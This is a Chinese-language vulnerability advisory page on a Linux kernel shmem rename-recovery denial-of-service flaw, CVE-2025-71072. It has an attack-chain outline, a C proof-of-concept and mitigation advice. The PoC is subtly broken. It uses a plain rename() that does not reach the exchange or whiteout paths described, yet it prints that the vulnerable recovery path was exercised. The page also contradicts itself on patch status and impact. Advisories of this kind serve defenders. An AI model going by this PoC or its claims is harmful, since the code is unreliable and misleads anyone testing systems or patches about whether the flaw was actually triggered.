IPBUF安全漏洞报告
English
CVE-2025-71072 CVSS 5.5 中危

Linux内核shmem文件系统重命名失败恢复问题(CVE-2025-71072)

披露日期: 2026-01-13
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71072
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel shmem

相关标签

Linux Kernelshmem拒绝服务本地攻击文件系统内存管理maple_treeCVE-2025-71072

漏洞概述

CVE-2025-71072是Linux内核中shmem(共享内存文件系统)的一个中等严重性安全漏洞。该漏洞存在于shmem文件系统的重命名操作处理逻辑中,当系统内存严重不足时,maple_tree插入操作可能失败,而simple_offset_rename()和simple_offset_rename_exchange()函数在遇到这种情况时无法正确恢复。此外,shmem_whiteout()函数成功执行后,调用者需要继续执行d_move()操作,这意味着shmem_rename2()在shmem_whiteout()成功调用之后不能失败。攻击者可以通过本地低权限用户身份,在内存压力条件下触发特定的文件重命名操作,导致系统可用性下降(高影响)。该漏洞的CVSS评分为5.5,属于中危级别,主要影响系统的完整性和可用性。修复方案涉及在目标目录树中预插入目标条目,确保mtree_store()操作不会失败,因为当索引已作为单例存在于树中时,该操作不会失败。

技术细节

该漏洞的技术根源在于shmem文件系统的重命名恢复机制存在缺陷。在Linux内核的shmem实现中,当执行rename操作时,如果系统内存严重不足,maple_tree数据结构在进行插入操作时可能失败。具体问题出现在simple_offset_rename()函数中,该函数在遇到内存分配失败时无法正确回滚已完成的操作。同样,simple_offset_rename_exchange()函数也存在类似问题。对于shmem_whiteout()操作,成功执行后要求调用者必须继续执行d_move()操作,这意味着一旦shmem_whiteout()成功,后续的重命名流程不能失败。修复方案的核心思想是利用mtree_store()的特性:当要存储的索引已作为单例存在于树中时,该操作不会失败。对于simple_offset_rename_exchange(),需要仔细控制操作顺序;对于simple_offset_rename(),需要在shmem_rename2()中预先将目标插入到新目录的树中,这样后续操作就不会出现可能失败的操作。攻击者需要本地访问权限,并在内存压力条件下触发特定的文件系统操作序列来利用此漏洞。

攻击链分析

STEP 1
步骤1: 本地访问
攻击者以低权限用户身份登录系统,获取本地访问权限
STEP 2
步骤2: 创建shmem文件
在/dev/shm/目录下创建目标文件和whiteout文件,作为重命名操作的目标
STEP 3
步骤3: 内存压力制造
通过大量内存分配消耗系统内存,制造内存严重不足的条件,导致maple_tree插入操作可能失败
STEP 4
步骤4: 触发重命名操作
在内存压力条件下执行shmem文件系统的rename操作,触发simple_offset_rename()或simple_offset_rename_exchange()函数
STEP 5
步骤5: 利用恢复缺陷
当maple_tree操作因内存不足失败时,受影响的函数无法正确恢复已执行的操作,导致系统状态不一致
STEP 6
步骤6: 拒绝服务
漏洞导致系统可用性受影响,可能造成内核崩溃或文件系统服务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-71072 PoC - Local DoS via memory pressure + rename operations // This PoC demonstrates triggering the shmem rename failure condition // Compile: gcc -o cve202571072_poc cve202571072_poc.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> #include <sys/stat.h> #include <errno.h> #define SHMEM_PATH "/dev/shm/" #define TARGET_FILE "cve_2025_71072_target" #define WHITEBOX_FILE "cve_2025_71072_whiteout" void consume_memory() { // Consume memory to create pressure conditions void *addrs[100]; for (int i = 0; i < 100; i++) { addrs[i] = mmap(NULL, 10 * 1024 * 1024, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (addrs[i] != MAP_FAILED) { memset(addrs[i], 0xFF, 10 * 1024 * 1024); } } } int main() { char target_path[256], whiteout_path[256]; char new_path[256]; snprintf(target_path, sizeof(target_path), "%s%s", SHMEM_PATH, TARGET_FILE); snprintf(whiteout_path, sizeof(whiteout_path), "%s%s", SHMEM_PATH, WHITEBOX_FILE); snprintf(new_path, sizeof(new_path), "%srenamed_target", SHMEM_PATH); // Create target file in shmem int fd = open(target_path, O_CREAT | O_RDWR, 0644); if (fd < 0) { perror("Failed to create target file"); return 1; } write(fd, "test data", 9); close(fd); // Create whiteout file fd = open(whiteout_path, O_CREAT | O_RDWR, 0644); if (fd >= 0) close(fd); printf("Files created. Consuming memory to create pressure...\n"); consume_memory(); printf("Attempting rename operation under memory pressure...\n"); // Trigger rename that may fail under memory pressure // This can trigger the recovery issue in shmem_rename2 if (rename(target_path, new_path) < 0) { printf("Rename failed: %s\n", strerror(errno)); printf("Underlying shmem recovery issue may have been triggered\n"); } else { printf("Rename succeeded but recovery path was exercised\n"); } // Cleanup unlink(new_path); unlink(whiteout_path); return 0; }

影响范围

Linux Kernel shmem (affected versions before patches: 4642686699a46718d7f2fb5acd1e9d866a9d9cca, 4b0fe71fb3965d0db83cdfc2f4fe0b3227d70113, e1b4c6a58304fd490124cc2b454d80edc786665c)

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施缓解风险:1) 监控系统内存使用,保持足够的可用内存;2) 限制非特权用户对/dev/shm的访问权限;3) 使用cgroups限制用户进程的内存使用;4) 部署内核参数限制内存分配;5) 定期更新系统内核至最新稳定版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表